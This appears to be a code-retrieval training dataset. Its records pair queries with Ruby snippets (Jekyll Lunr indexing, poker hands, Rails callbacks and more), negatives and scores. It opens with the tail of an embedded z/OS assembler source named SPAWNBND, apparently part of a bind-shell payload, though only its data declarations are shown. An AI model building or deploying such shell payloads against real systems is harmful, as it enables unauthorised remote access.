"FDLST DC F'0' # field list addr s/b 0\n" \
"TVER DC AL2(INHE#VER)\n" \
"TLEN DC AL2(INHE#LENGTH)\n" \
" SPACE ,\n" \
"@DYNSIZE DC A(@ENDYN-@DATA)\n" \
"***************************\n" \
"***** end of constants ****\n" \
"***************************\n" \
"@DATA DSECT ,\n" \
" DS 0D\n" \
"PLIST DS 16A\n" \
"RTN_VAL DS F # return value\n" \
"RTN_COD DS F # return code\n" \
"RSN_COD DS F # reason code\n" \
"CLIFD DS F # client fd\n" \
"SRVFD DS F # server fd\n" \
"@BACK DS A\n" \
"*\n" \
" BPXYSOCK LIST=NO,DSECT=NO\n" \
" BPXYFCTL LIST=NO,DSECT=NO\n" \
" BPXYINHE LIST=NO,DSECT=NO\n" \
"@ENDYN EQU *\n" \
"@DATA#LEN EQU *-@DATA\n" \
" BPXYCONS LIST=YES\n" \
" END SPAWNBND\n" \
"ZZ\n" \
"//*\n"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def populate_from_payload(payload)\n @request = payload[MockServer::HTTP_REQUEST]\n @request = Request.new(symbolize_keys(@request)) if @request\n\n @response = payload[MockServer::HTTP_RESPONSE]\n @response = Response.new(symbolize_keys(@response)) if @response\n\n @forward = pa... | [
"0.65612906",
"0.64857435",
"0.63759214",
"0.63569856",
"0.6193157",
"0.606164",
"0.6020032",
"0.586226",
"0.5853378",
"0.5822527",
"0.5821773",
"0.581188",
"0.5799137",
"0.5782023",
"0.56899565",
"0.56899565",
"0.56889534",
"0.56786585",
"0.5656251",
"0.56555766",
"0.5647367... | 0.0 | -1 |
array of players helper method | def players
game_hash[:away][:players].concat(game_hash[:home][:players])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def players\n # Build two arrays of players\n cur_players = teams.map do |team|\n team.wattball_players\n end\n\n # Combine the arrays\n cur_players.flatten! \n end",
"def players; [@hunter, @prey] end",
"def players\n @a = Array.new\n @a << east \n @a << south\n @a << west\n ... | [
"0.80492646",
"0.8001183",
"0.77534366",
"0.7658742",
"0.7658742",
"0.7569335",
"0.75521713",
"0.7447866",
"0.7383852",
"0.7366882",
"0.73001283",
"0.7268388",
"0.7245092",
"0.72143334",
"0.7119574",
"0.7093885",
"0.7078085",
"0.7013737",
"0.70080006",
"0.69537365",
"0.693385... | 0.0 | -1 |
should state when starting and ending nested blocks with appropriate indentation | def logger(description)
$tabs.times { print " " }
puts "Now running #{description}..."
$tabs += 1
puts " " * ($tabs - 1) + "#{yield}"
$tabs -= 1
$tabs.times { print " " }
puts "...#{description} has finished."
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def indentation; end",
"def indentation; end",
"def nest(indent)\n @indent += indent\n begin\n yield\n ensure\n @indent -= indent\n end\n end",
"def nest(indent)\n @indent += indent\n begin\n yield\n ensure\n @indent -= indent\n end\n end",
"def nest(indent)\n ... | [
"0.75541717",
"0.75541717",
"0.71613663",
"0.71613663",
"0.71613663",
"0.7128392",
"0.70292103",
"0.6950846",
"0.6717334",
"0.6663612",
"0.66568935",
"0.6647689",
"0.66331154",
"0.66331154",
"0.66331154",
"0.66331154",
"0.66331154",
"0.6614657",
"0.654095",
"0.64938337",
"0.6... | 0.0 | -1 |
Index all pages except pages matching any value in config['lunr_excludes'] or with date['exclude_from_search'] The main content from each page is extracted and saved to disk as json | def generate(site)
Jekyll.logger.info "Lunr:", 'Creating search index...'
@site = site
# gather pages and posts
data = pages_to_index(site)
items = data[:items]
index = []
index_js = open(@lunr_path).read
index_js << 'var idx = lunr(function() {this.pipeline.remove(lunr.stemmer);this.searchPipeline.remove(lunr.stemmer);this.pipeline.remove(lunr.stopWordFilter);this.searchPipeline.remove(lunr.stopWordFilter);this.tokenizer.separator = /[\s,.;:/?!()]+/;'
@lunr_config['fields'].each_pair do |name, boost|
index_js << "this.field('#{name}', {'boost': #{boost}});"
end
items.each_with_index do |item_data, i|
doc = {}
flat_data = {}
item = item_data.to_liquid
if item['recordstatus'] != 'inactive' or ENV['JEKYLL_ENV'] != 'production'
@config["fields"].each do |field|
field["jekyllfields"].each do |jekyllfield|
widget = field['widget']
orig_field = item[jekyllfield]
if widget
if widget == 'flatten' && orig_field
orig_field = orig_field.values.flatten()
end
if widget == 'relational'
if field['secondaryfield']
orig_field = site.collections[field['collection']].docs.collect {|collection| collection[jekyllfield] if collection.to_liquid[field['matchfield']] and collection.to_liquid[field['matchfield']].map{ |i| i[field['secondaryfield']] }.include? item['slug'] }
else
orig_field = site.collections[field['collection']].docs.collect {|collection| collection[jekyllfield] if collection.to_liquid[field['matchfield']] and collection.to_liquid[field['matchfield']].include? item['slug'] }
end
end
if widget == 'nested'
if item[field["parentfield"]]
if item[field["parentfield"]].class == Array
orig_field = item[field["parentfield"]].map {| parent | parent[jekyllfield]}
else
orig_field = item[field["parentfield"]][jekyllfield]
end
end
end
if orig_field
orig_field = orig_field.compact.uniq.flatten()
orig_field = [].concat(orig_field)
end
flat_data[field["searchfield"]] = flat_data[field["searchfield"]] ? flat_data[field["searchfield"]].concat(orig_field) : orig_field
end
format_field = orig_field.class == Array ? orig_field.compact.uniq.join(" ") : orig_field
if format_field != nil
if doc[field["searchfield"]] == nil
doc[field["searchfield"]] = format_field.strip()
else
doc[field["searchfield"]] += " " + format_field.strip()
end
end
end
end
doc['id'] = item['slug']
index_js << 'this.add(' << ::JSON.generate(doc, quirks_mode: true) << ');'
final_dict = item.to_hash
final_dict['content'] = Nokogiri::HTML(Kramdown::Document.new(item.content).to_html).text.tr("\n"," ")
@docs[item["slug"]] = final_dict.merge(flat_data)
Jekyll.logger.debug "Lunr:", (item['title'] ? "#{item['title']} (#{item['url']})" : item['url'])
end
end
index_js << '});'
FileUtils.mkdir_p(File.join(site.dest, @js_dir))
FileUtils.mkdir_p(File.join(site.dest, @css_dir))
filename = File.join(@js_dir, 'index.js')
ctx = ExecJS.compile(index_js)
index = ctx.eval('JSON.stringify(idx)')
total = "var docs = #{@docs.to_json}\nvar index = #{index.to_json}\nvar baseurl = #{@jekyllconfig['baseurl'].to_json}\nvar lunr_settings = #{@config.to_json}"
filepath = File.join(site.dest, filename)
File.open(filepath, "w") { |f| f.write(total) }
Jekyll.logger.info "Lunr:", "Index ready (lunr.js v#{@lunr_version})"
added_files = [filename]
site_js = File.join(site.dest, @js_dir)
site_css = File.join(site.dest, @css_dir)
# If we're using the gem, add the lunr and search JS files to the _site
if File.expand_path(site_js) != File.dirname(@lunr_path)
extras = Dir.glob(File.join(File.dirname(@lunr_path), "*.js"))
if extras.length > 0
FileUtils.cp(extras, site_js)
extras.map! { |min| File.join(@js_dir, File.basename(min)) }
Jekyll.logger.debug "Lunr:", "Added JavaScript to #{@js_dir}"
added_files.push(*extras)
end
extrascss = Dir.glob(File.join(File.dirname(@lunr_path), "*.css"))
if extrascss.length > 0
FileUtils.cp(extrascss, site_css)
extrascss.map! { |min| File.join(@css_dir, File.basename(min)) }
Jekyll.logger.debug "Lunr:", "Added CSS to #{@css_dir}"
added_files.push(*extrascss)
end
end
# Keep the written files from being cleaned by Jekyll
added_files.each do |filename|
site.static_files << SearchIndexFile.new(site, site.dest, "/", filename)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index_pages\n debug_msg \" generating pages search index\"\n\n pages = @files.select do |file|\n file.text?\n end\n\n pages.each do |page|\n debug_msg \" #{page.page_name}\"\n record = page.search_record\n @index[:searchIndex] << search_string(record.shift)\n @index... | [
"0.66240895",
"0.647282",
"0.6270825",
"0.6127025",
"0.6120165",
"0.6080947",
"0.6077571",
"0.60746026",
"0.60721785",
"0.6068143",
"0.6067026",
"0.60556084",
"0.60420483",
"0.60106206",
"0.5982656",
"0.5951542",
"0.59487104",
"0.5934989",
"0.59331477",
"0.59324884",
"0.59270... | 0.6532995 | 1 |
add and / later | def initialize
@num1 = rand(20)
@num2 = rand(20)
@operator = OPERATORS.sample
if @operator == "+"
@solution = @num1 + @num2
elsif @operator == "-"
@num1 += 20 if @num2 > @num1 # avoid negative answers for now.
@solution = @num1 - @num2
elsif @operator == "*"
@solution = @num1 * @num2
elsif @operator == "/"
@solution = @num1 / @num2
end
@expression = "#{num1} #{operator} #{num2} equals #{solution}."
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add(val)\n \n end",
"def add(this, that)\n\tthis + that\nend",
"def add(val1, val2) val1 + val2 end",
"def add(a, b)\r\n a + b \r\n end",
"def add \n end",
"def add(*); end",
"def add(a,b)\n a + b\n end",
"def begin_adding(*) end",
"def add(value)\n \n end",
... | [
"0.7319149",
"0.73056173",
"0.72805375",
"0.7256724",
"0.72535884",
"0.7205487",
"0.72013944",
"0.716719",
"0.7104098",
"0.7066814",
"0.7040801",
"0.7034294",
"0.7010643",
"0.6973202",
"0.6973202",
"0.6973202",
"0.6973202",
"0.6966956",
"0.6932939",
"0.68932915",
"0.68916386"... | 0.0 | -1 |
Services that are eligible to be assigned to this category. Includes services that are already assigned even if they are not predefined. | def assignable_services
(Service.predefined + services).sort_by(&:lower_case_name).uniq
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def with_pricing\n # CCS::FM::Rate.non_zero_rate\n services_with_pricing = CCS::FM::Rate.non_zero_rate.map(&:code)\n\n services_selected = user_buildings.collect { |b| b.building_json['services'] }.flatten # s.collect { |s| s['code'].gsub('-', '.') }\n services_selected = services_selected.map ... | [
"0.68433374",
"0.67538923",
"0.6644393",
"0.65873206",
"0.63025576",
"0.61551917",
"0.6139847",
"0.61040133",
"0.6094534",
"0.60917544",
"0.6007973",
"0.5987665",
"0.5928906",
"0.5928396",
"0.5886889",
"0.58821326",
"0.58577305",
"0.5847533",
"0.58225596",
"0.5812438",
"0.573... | 0.7854591 | 0 |
Array of this category's services to be displayed on the home page, sorted by display_order, then name. | def services_for_home_page
services.for_home_page.display_order.order_by_name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def services_for_see_all_page\n\t\tservices.display_order.order_by_name\n\tend",
"def list_services\n services.map do |service|\n Hashie::Mash.new({\n service: service,\n display_name: service_display_name(service),\n id: service_id(service)\n })\n ... | [
"0.7643603",
"0.75065976",
"0.7428405",
"0.7387533",
"0.7309042",
"0.70347404",
"0.6999205",
"0.6823499",
"0.6801943",
"0.6780458",
"0.66868633",
"0.66287845",
"0.6615231",
"0.6580479",
"0.6545575",
"0.6540787",
"0.65295595",
"0.64540017",
"0.643496",
"0.64218825",
"0.6398237... | 0.78639513 | 0 |
Array of this category's services to be displayed on the seeall page, sorted by display_order, then name. | def services_for_see_all_page
services.display_order.order_by_name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def services\n ret = []\n offset = 0\n loop do\n cur = get(\"services?limit=#{PAGINATION_SIZE}&offset=#{offset}\")\n offset += PAGINATION_SIZE\n ret.push *cur.services\n break if offset >= cur.total\n end\n ret\n end",
"def services_for_home_page\n\t\tservi... | [
"0.7505586",
"0.7426522",
"0.7364771",
"0.7346378",
"0.7318517",
"0.7103619",
"0.6894744",
"0.6878854",
"0.6803878",
"0.671709",
"0.6617974",
"0.6587914",
"0.6572148",
"0.65717715",
"0.6560059",
"0.6545215",
"0.64538544",
"0.6430028",
"0.64134806",
"0.6403591",
"0.6362764",
... | 0.794427 | 0 |
Ensure this category belongs to the proper category lists. Modify the category_list.categories association to ensure the category_list gets touched for caching purposes (see the category_list model). | def update_category_lists
all_list = CategoryList.all_list
home_list = CategoryList.home_list
if is_predefined
all_list.categories << self unless category_lists.include? all_list
if home_page_column
home_list.categories << self unless category_lists.include? home_list
else
home_list.categories.delete self if category_lists.include? home_list
end
else
all_list.categories.delete self if category_lists.include? all_list
home_list.categories.delete self if category_lists.include? home_list
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def check_categories!\n\n self.categories.map! do |category|\n if (not category.saved?) and loaded_category = Term.get(category.id)\n loaded_category\n else\n category\n end\n end\n\n end",
"def category_update\n @finance_category = FinanceTransactionCategory.... | [
"0.5552781",
"0.55015945",
"0.5467894",
"0.5462636",
"0.5438651",
"0.53982365",
"0.5386704",
"0.53829557",
"0.5380696",
"0.5340313",
"0.5262853",
"0.5254381",
"0.5235135",
"0.52285105",
"0.5213485",
"0.51781553",
"0.5153697",
"0.5152877",
"0.51204",
"0.5118456",
"0.511629",
... | 0.66367847 | 0 |
Touch all category lists that this category belongs to. | def touch_category_lists
category_lists.map &:touch
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_category_lists\n\t\tall_list = CategoryList.all_list\n\t\thome_list = CategoryList.home_list\n\t\tif is_predefined\n\t\t\tall_list.categories << self unless category_lists.include? all_list\n\t\t\tif home_page_column\n\t\t\t\thome_list.categories << self unless category_lists.include? home_list\n\t\t\te... | [
"0.71468383",
"0.6213684",
"0.6208331",
"0.6163974",
"0.6145051",
"0.6051226",
"0.5943257",
"0.59158427",
"0.57284194",
"0.5710979",
"0.5608092",
"0.5597151",
"0.55948347",
"0.5563203",
"0.5549819",
"0.5548189",
"0.5548165",
"0.5540843",
"0.5536168",
"0.5525395",
"0.5514212",... | 0.79580766 | 0 |
Specifies the encoding you have or want. | def encoding(*args)
if args.empty?
return @encoding
else
@encoding = args[0]
return self
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def meta_encoding=(encoding); end",
"def meta_encoding=(encoding); end",
"def default_encoding=(_arg0); end",
"def default_encoding; end",
"def default_encoding; end",
"def encoding(value = nil)\n value ? @encoding = value : @encoding\n end",
"def encoding=(enc); end",
"def accept_encoding=(value... | [
"0.79504263",
"0.79504263",
"0.7757075",
"0.77264065",
"0.77264065",
"0.76283854",
"0.751028",
"0.7376806",
"0.7369023",
"0.73518234",
"0.7334817",
"0.72378707",
"0.72378707",
"0.72189325",
"0.720622",
"0.7120147",
"0.7120028",
"0.71042275",
"0.71042275",
"0.7056716",
"0.7056... | 0.6855333 | 33 |
Specifies the file (path) you have or want. | def file(*args)
if args.empty?
return @file
else
@file = args[0]
return self
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setFileName(path)\n end",
"def file=(value)\n @file = value\n end",
"def file=(value)\n @file = value\n end",
"def set(file)\n self.file = file\n end",
"def optional_file(val)\n path = val\n io = val if String === val\n if... | [
"0.7291308",
"0.7289733",
"0.7289733",
"0.70544195",
"0.6894043",
"0.6647648",
"0.6627334",
"0.65821654",
"0.65225124",
"0.6455507",
"0.6370883",
"0.6358181",
"0.6335735",
"0.62868017",
"0.62657315",
"0.62657315",
"0.62657315",
"0.62657315",
"0.6255396",
"0.6243744",
"0.62431... | 0.0 | -1 |
Specifies the track the subtitles should be assigned to. | def track(*args)
if args.empty?
return @track
else
@track = args[0]
return self
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_track\n @track = Track.friendly.find(params[:id])\n end",
"def set_track\n # @track = Track.find(params[:id])\n end",
"def set_track\n @track = Track.find(params[:id])\n end",
"def set_track\n @track = Track.find(params[:id])\n end",
"def set_track\n @track = Tr... | [
"0.6568963",
"0.64325476",
"0.64163494",
"0.64163494",
"0.64163494",
"0.64163494",
"0.64163494",
"0.64163494",
"0.64163494",
"0.64163494",
"0.64163494",
"0.64163494",
"0.62984264",
"0.6264285",
"0.61595887",
"0.61595887",
"0.61042386",
"0.6067289",
"0.59245485",
"0.59245485",
... | 0.5815408 | 24 |
Specifies the framerate you have or want. | def fps(*args)
if args.empty?
return @fps
else
@fps = args[0]
return self
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def target_framerate=( framerate )\n\t\t\t\tif framerate\n\t\t\t\t\t@target_frametime = 1000.0 / framerate\n\t\t\t\telse\n\t\t\t\t\t@target_frametime = nil\n\t\t\t\tend\n\t\t\trescue ZeroDivisionError\n\t\t\t\t@target_frametime = nil\n\t\t\tend",
"def fps=(fps)\n validator = EnumAttributeValidator.new('Floa... | [
"0.7722237",
"0.698937",
"0.6937196",
"0.68556803",
"0.6848996",
"0.67415327",
"0.6586146",
"0.6582366",
"0.6582366",
"0.6582366",
"0.63769054",
"0.63278806",
"0.6289396",
"0.62026614",
"0.6189739",
"0.61046815",
"0.602723",
"0.5995158",
"0.5995158",
"0.59264725",
"0.5923074"... | 0.60674405 | 16 |
Returns all named references you have specified | def references
@references
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def extract_named_references\n extract ExtractNamedReferences, 'workbook.xml', 'Named references'\n apply_rewrite RewriteFormulaeToAst, 'Named references'\n replace ReplaceRangesWithArrayLiterals, 'Named references', 'Named references'\n end",
"def name_references(collection)\n target.try(:name_re... | [
"0.77023214",
"0.7327907",
"0.7303397",
"0.7090005",
"0.7018254",
"0.6957744",
"0.6895831",
"0.6655142",
"0.6632388",
"0.6620759",
"0.65591836",
"0.65459466",
"0.6512781",
"0.6512781",
"0.64255506",
"0.6344361",
"0.6344361",
"0.6302421",
"0.62976813",
"0.6290689",
"0.6290244"... | 0.67129797 | 7 |
GET /family_documents or /family_documents.json | def index
@family_documents = FamilyDocument.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def documents\n return bad_request unless params[:id] and request.format.json? || request.format.js? || request.format.text?\n return not_found unless current_document\n opts = {:access => true, :sections => true, :annotations => true, :data => true}\n if current_account\n opts... | [
"0.6765328",
"0.66723",
"0.6599612",
"0.65537167",
"0.65064347",
"0.64898294",
"0.6484053",
"0.6484053",
"0.6484053",
"0.6484053",
"0.6484053",
"0.6484053",
"0.6484053",
"0.64797264",
"0.646263",
"0.6452959",
"0.6420323",
"0.6419376",
"0.63663054",
"0.6353671",
"0.6334158",
... | 0.70341223 | 0 |
GET /family_documents/1 or /family_documents/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @family_documents = FamilyDocument.all\n end",
"def show\n \n @document = Document.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n \n end",
"def show\n @family = get_family(params[:id])\n\n ... | [
"0.69034606",
"0.6625136",
"0.6622025",
"0.6580562",
"0.65482736",
"0.65482736",
"0.65482736",
"0.65482736",
"0.65482736",
"0.65482736",
"0.65482736",
"0.6536728",
"0.64943874",
"0.64850175",
"0.64652413",
"0.64538705",
"0.64468384",
"0.6443985",
"0.6435025",
"0.64130723",
"0... | 0.0 | -1 |
POST /family_documents or /family_documents.json | def create
@family_document = FamilyDocument.new(family_document_params)
respond_to do |format|
if @family_document.save
format.html { redirect_to @family_document, notice: "Family document was successfully created." }
format.json { render :show, status: :created, location: @family_document }
else
format.html { render :new, status: :unprocessable_entity }
format.json { render json: @family_document.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_family_document\n @family_document = FamilyDocument.find(params[:id])\n end",
"def add_document(birthdate:, first_name:, last_name:, street:, postal_code:, country_code:, document_type:, document_value:)\n data = {\n doc: {\n birth_day: birthdate.day,\n birth_month: ... | [
"0.6545209",
"0.654129",
"0.65252006",
"0.6415985",
"0.63442826",
"0.63008153",
"0.6254749",
"0.6195584",
"0.6183926",
"0.6183449",
"0.61097026",
"0.610873",
"0.610873",
"0.6047894",
"0.60342145",
"0.6033889",
"0.60287493",
"0.60278016",
"0.60228807",
"0.60203975",
"0.6015974... | 0.7540485 | 0 |
PATCH/PUT /family_documents/1 or /family_documents/1.json | def update
respond_to do |format|
if @family_document.update(family_document_params)
format.html { redirect_to @family_document, notice: "Family document was successfully updated." }
format.json { render :show, status: :ok, location: @family_document }
else
format.html { render :edit, status: :unprocessable_entity }
format.json { render json: @family_document.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_family_document\n @family_document = FamilyDocument.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @family.update(family_params)\n format.html { redirect_to @family, notice: 'Family was successfully updated.' }\n format.json { head :no_content }\n e... | [
"0.6947801",
"0.6707074",
"0.6595557",
"0.65471286",
"0.65311444",
"0.6523794",
"0.6520086",
"0.6497122",
"0.64648396",
"0.64590293",
"0.6444059",
"0.64113027",
"0.640661",
"0.6402971",
"0.64008856",
"0.64008856",
"0.64008856",
"0.6392923",
"0.63917834",
"0.63917834",
"0.6391... | 0.76261586 | 0 |
DELETE /family_documents/1 or /family_documents/1.json | def destroy
@family_document.destroy
respond_to do |format|
format.html { redirect_to family_documents_url, notice: "Family document was successfully destroyed." }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete\n @client.delete_document(@path)\n end",
"def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @document.destroy\n respond_to do |format|\n f... | [
"0.7038402",
"0.70005035",
"0.70005035",
"0.70005035",
"0.70005035",
"0.70005035",
"0.6982511",
"0.6951094",
"0.6951094",
"0.6951094",
"0.6951094",
"0.6951094",
"0.6951094",
"0.6951094",
"0.6951094",
"0.6951094",
"0.6950892",
"0.694162",
"0.6939353",
"0.6939319",
"0.6938899",... | 0.7581359 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_family_document
@family_document = FamilyDocument.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576"... | 0.0 | -1 |
Only allow a list of trusted parameters through. | def family_document_params
params.require(:family_document).permit(:professional_id, :code)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\... | [
"0.6946679",
"0.6811753",
"0.67995036",
"0.679359",
"0.67437977",
"0.6738685",
"0.6525698",
"0.65186113",
"0.6492684",
"0.64316213",
"0.64316213",
"0.64316213",
"0.6397299",
"0.63539475",
"0.63526994",
"0.6344162",
"0.63427454",
"0.6336022",
"0.63279474",
"0.63279474",
"0.632... | 0.0 | -1 |
Hand functions, that return relavent highcard for tie returns nil if don't have that hand | def royal_flush
return :ace if self.straight && self.flush && high_card == :ace
nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def best_hand\n case\n when hand?\n return @cards\n when pair? && !hand?\n get_pairs\n when two_pair? && !hand?\n get_pairs\n when three_of_a_kind? && !full_house? && !hand?\n get_three_of_a_kind\n when straight? && !straight_flush? && !hand?\n get_straight\n when flus... | [
"0.80531937",
"0.756491",
"0.74888635",
"0.7431961",
"0.73173106",
"0.72788346",
"0.7226148",
"0.71865106",
"0.7098814",
"0.7024634",
"0.7019091",
"0.70051664",
"0.69746286",
"0.6974439",
"0.6945275",
"0.69314253",
"0.69260734",
"0.69257915",
"0.69159776",
"0.688487",
"0.6879... | 0.0 | -1 |
tie decided by high card of pair | def one_pair
value_frequency.each do |key, value|
return key if value == 2
end
nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def tie_breaker_cards\n matched = self.matched_cards\n sorted = @cards.sort.reverse\n # sorted so the card with highest value is first \n if five_of_a_kind? \n # All cards break the tie\n return sorted \n elsif flush?\n # All cards break the tie\n return sorted... | [
"0.7154753",
"0.6776079",
"0.67534673",
"0.6710351",
"0.67074996",
"0.670413",
"0.6685744",
"0.6608228",
"0.6596036",
"0.6585667",
"0.6514977",
"0.6513185",
"0.64826405",
"0.6481471",
"0.64660186",
"0.6457061",
"0.6443796",
"0.640959",
"0.64043206",
"0.63948655",
"0.6381125",... | 0.0 | -1 |
functions shared by calculating pair, 3 of a kind, etc | def our_values
result = []
@cards.each do |card|
result << card.value
end
result
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def pair; end",
"def mixed_pairs\nend",
"def full_house?\n three_of_a_kind? && pair?\n end",
"def sum_pair(ints, sum)\nend",
"def two_pair\n (0..12).each { |i|\n fok = Hash.new(nil)\n num = 0\n @hash_7_card.each { |s, _r|\n next unless [14 - i] & @hash_7_card[s] == [14 - i]\n ... | [
"0.7252828",
"0.6804353",
"0.62505513",
"0.6083076",
"0.6043644",
"0.60253215",
"0.59220755",
"0.59128577",
"0.59113413",
"0.5900482",
"0.58930236",
"0.5889845",
"0.588815",
"0.5851779",
"0.5782729",
"0.5776943",
"0.57739973",
"0.57705534",
"0.57591695",
"0.57249546",
"0.5724... | 0.0 | -1 |
options type: String for the type of alert to look for. Will select any flash if omitted currently used: 'success' and 'danger' Remaining options will be passed to assert_selector. The following ones are especially useful: text: String or regexp for the content of the message count/minimum/maximum: bounds on the number of matches TODO: this is built for rails flashes, but could be modified to work anywhere | def assert_flash(options)
locator = '.alert'
locator += ".alert-#{options.delete(:type)}" if options[:type]
assert_selector locator, options
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def assert_flash_notices(danger: { count: 0, text: nil },\n success: { count: 0, text: nil },\n info: { count: 0, text: nil },\n warning: { count: 0, text: nil })\n assert_select 'div.alert-danger', count: danger[:count],... | [
"0.7375665",
"0.66110134",
"0.6148408",
"0.6046243",
"0.60389566",
"0.60333467",
"0.5963642",
"0.5940093",
"0.59119415",
"0.5905462",
"0.59027237",
"0.583612",
"0.5802127",
"0.57808936",
"0.5772157",
"0.57097566",
"0.57011086",
"0.5683292",
"0.5681334",
"0.5676564",
"0.566741... | 0.7899752 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_bartender
@bartender = Bartender.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6163927",
"0.6046165",
"0.59465253",
"0.59167755",
"0.58904207",
"0.58346355",
"0.577713",
"0.5703502",
"0.5703502",
"0.56531286",
"0.56215113",
"0.54224145",
"0.5410795",
"0.5410795",
"0.5410795",
"0.53924775",
"0.5379919",
"0.53580743",
"0.53401667",
"0.53397506",
"0.533... | 0.0 | -1 |
Languages Returns the preferred language to be used for the user (degrade chain: mother_tounge > last_login_language > system default language). | def preferred_language
mother_tongues.first || self.last_login_language || Language[I18n.default_locale]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def languages\n get(\"/repos/show/#{owner.login}/#{name}/languages\")['languages']\n end",
"def languages\n translations.map(&:language)\n end",
"def supported_languages\n return self.supported_locales.present? ? self.supported_locales : [\"en\"]\n end",
"def user_languages_hash\n ... | [
"0.70455664",
"0.68523866",
"0.68371373",
"0.6812137",
"0.67981935",
"0.6719805",
"0.67164516",
"0.6702895",
"0.66602916",
"0.66396385",
"0.6634883",
"0.66077656",
"0.6579112",
"0.6578954",
"0.656052",
"0.6507562",
"0.645802",
"0.64310586",
"0.64310586",
"0.64310586",
"0.6431... | 0.7581883 | 0 |
Returns an array with the user's mother tongues. | def mother_tongues
spoken_languages.where(language_level_code: LanguageLevel[:mother_tongue].code).map(&:language)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def my_followers_motto\n my_followers.collect {|bloodoath| bloodoath.follower.life_motto}\n end",
"def my_followers_mottos \n BloodOath.all.map{|bloodoath|bloodoath.follower.life_motto}\n end",
"def other_household_members\n return [] if period.nil?\n ids = chooser.household.users... | [
"0.67440873",
"0.65285295",
"0.6209433",
"0.6208086",
"0.6193482",
"0.60695434",
"0.6047712",
"0.6039824",
"0.60353684",
"0.6000028",
"0.59561455",
"0.5895205",
"0.5850039",
"0.5848574",
"0.5833412",
"0.5832265",
"0.5830307",
"0.58160156",
"0.57895255",
"0.57453066",
"0.57433... | 0.69889057 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_booking
@booking = Booking.find(params[:id])
authorize @booking
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
